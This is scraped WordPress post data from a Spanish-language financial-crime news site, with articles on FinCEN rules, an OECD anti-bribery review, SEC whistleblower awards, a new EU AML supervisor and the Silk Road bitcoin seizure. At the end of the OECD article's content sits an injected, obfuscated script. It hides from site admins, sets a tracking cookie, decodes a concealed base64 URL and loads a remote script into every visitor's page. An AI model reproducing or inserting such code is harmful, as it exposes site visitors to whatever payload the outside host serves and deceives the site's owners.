propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos 